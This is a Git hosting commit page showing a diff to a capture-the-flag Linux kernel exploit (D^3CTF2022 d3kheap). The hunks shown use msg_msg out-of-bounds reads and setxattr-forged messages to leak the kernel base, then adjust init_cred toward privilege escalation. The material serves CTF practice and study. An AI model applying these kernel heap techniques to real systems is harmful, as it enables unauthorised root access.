Skip to content
体验新版
项目
组织
正在加载...
登录
切换导航
打开侧边栏
_sky123_
attachment
提交
086efad6
A
attachment
项目概览
_sky123_
/
attachment
通知
29
Star
3
Fork
0
代码
文件
提交
分支
Tags
贡献者
分支图
Diff
Issue
0
列表
看板
标记
里程碑
合并请求
0
DevOps
流水线
流水线任务
计划
Wiki
0
Wiki
分析
仓库
DevOps
项目成员
Pages
A
attachment
项目概览
项目概览
详情
发布
仓库
仓库
文件
提交
分支
标签
贡献者
分支图
比较
Issue
0
Issue
0
列表
看板
标记
里程碑
合并请求
0
合并请求
0
Pages
DevOps
DevOps
流水线
流水线任务
计划
分析
分析
仓库分析
DevOps
Wiki
0
Wiki
成员
成员
收起侧边栏
关闭侧边栏
动态
分支图
创建新Issue
流水线任务
提交
Issue看板
前往新版Gitcode,体验更适合开发者的 AI 搜索 >>
提交
086efad6
编写于
11月 30, 2023
作者:
_sky123_
浏览文件
操作
浏览文件
下载
电子邮件补丁
差异文件
update
上级
eecfb92a
变更
2
隐藏空白更改
内联
并排
Showing
2 changed file
with
13 addition
and
17 deletion
+13
-17
glibc_pwn/settings.zip
glibc_pwn/settings.zip
+0
-0
linux_kernel_pwn/D^3CTF2022_d3kheap/give_to_user/exp1.c
linux_kernel_pwn/D^3CTF2022_d3kheap/give_to_user/exp1.c
+13
-17
未找到文件。
glibc_pwn/settings.zip
0 → 100755
浏览文件 @
086efad6
文件已添加
linux_kernel_pwn/D^3CTF2022_d3kheap/give_to_user/exp1.c
浏览文件 @
086efad6
...
...
@@ -8,7 +8,6 @@
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
...
...
@@ -437,7 +436,7 @@ int main() {
size_t
msg_queue_addr
=
0
;
size_t
msg_msg_offset
;
int
msg_queue_index
=
-
1
;
for
(
int
i
=
sizeof
(
msgbuf
.
mtext
);
i
<
DATALEN_MSG
;
i
+=
8
)
{
for
(
int
i
=
sizeof
(
msgbuf
.
mtext
);
i
+
HEAP_SIZE
<
DATALEN_MSG
;
i
+=
HEAP_SIZE
)
{
struct
msg_msg
*
msg_msg
=
(
struct
msg_msg
*
)
&
oob_msgbuf
.
mtext
[
i
];
if
(
is_dir_mapping_addr
((
size_t
)
msg_msg
->
m_list
.
next
)
&&
msg_msg
->
m_list
.
next
==
msg_msg
->
m_list
.
prev
...
...
@@ -472,25 +471,12 @@ int main() {
size_t
msg_msg_addr
=
*
(
size_t
*
)
&
oob_msgbuf
.
mtext
[
DATALEN_MSG
];
printf
(
"[+] msg_msg addr: %p
\n
"
,
msg_msg_addr
);
size_t
cur_search_addr
=
msg_
msg
_addr
-
8
;
size_t
cur_search_addr
=
msg_
queue
_addr
-
8
;
while
(
kernel_offset
==
INVALID_KERNEL_OFFSET
)
{
printf
(
"[*] current searching addr: %p
\n
"
,
cur_search_addr
);
build_msg
(
fake_msg
,
0
,
0
,
0
,
DATALEN_MSG
+
DATALEN_SEG
,
cur_search_addr
,
0
);
setxattr
(
"/flag"
,
"sky123"
,
fake_msg
,
HEAP_SIZE
,
0
);
if
(
peek_msg
(
msqid
[
0
],
&
oob_msgbuf
,
DATALEN_MSG
+
DATALEN_SEG
,
0
)
<
0
)
{
puts
(
"[-] msgrcv failed."
);
return
-
1
;
}
printf
(
"[*] msgbuf->mtype: %ld
\n
"
,
oob_msgbuf
.
mtype
);
qword_dump
(
"leak kernel addr form heap space"
,
&
oob_msgbuf
.
mtext
[
DATALEN_MSG
],
DATALEN_SEG
);
kernel_offset
=
search_kernel_offset
(
&
oob_msgbuf
.
mtext
[
DATALEN_MSG
],
DATALEN_SEG
);
if
(
kernel_offset
!=
INVALID_KERNEL_OFFSET
)
{
break
;
}
size_t
msg_offset
=
-
1
;
for
(
int
i
=
DATALEN_MSG
+
DATALEN_SEG
-
8
;
i
>=
DATALEN_MSG
;
i
-=
8
)
{
if
(
!*
(
size_t
*
)
&
oob_msgbuf
.
mtext
[
i
])
{
msg_offset
=
i
-
DATALEN_MSG
;
msg_offset
=
i
-
DATALEN_MSG
+
8
;
break
;
}
}
...
...
@@ -499,6 +485,16 @@ int main() {
exit
(
-
1
);
}
cur_search_addr
+=
msg_offset
;
printf
(
"[*] current searching addr: %p
\n
"
,
cur_search_addr
);
build_msg
(
fake_msg
,
0
,
0
,
0
,
DATALEN_MSG
+
DATALEN_SEG
,
cur_search_addr
,
0
);
setxattr
(
"/flag"
,
"sky123"
,
fake_msg
,
HEAP_SIZE
,
0
);
if
(
peek_msg
(
msqid
[
0
],
&
oob_msgbuf
,
DATALEN_MSG
+
DATALEN_SEG
,
0
)
<
0
)
{
puts
(
"[-] msgrcv failed."
);
return
-
1
;
}
printf
(
"[*] msgbuf->mtype: %ld
\n
"
,
oob_msgbuf
.
mtype
);
qword_dump
(
"leak kernel addr form heap space"
,
&
oob_msgbuf
.
mtext
[
DATALEN_MSG
],
DATALEN_SEG
);
kernel_offset
=
search_kernel_offset
(
&
oob_msgbuf
.
mtext
[
DATALEN_MSG
],
DATALEN_SEG
);
}
init_cred
+=
kernel_offset
;
...
...
编辑
预览
Markdown
is supported
0%
请重试
或
添加新附件
.
添加附件
取消
You are about to add
0
people
to the discussion. Proceed with caution.
先完成此消息的编辑!
取消
想要评论请
注册
或
登录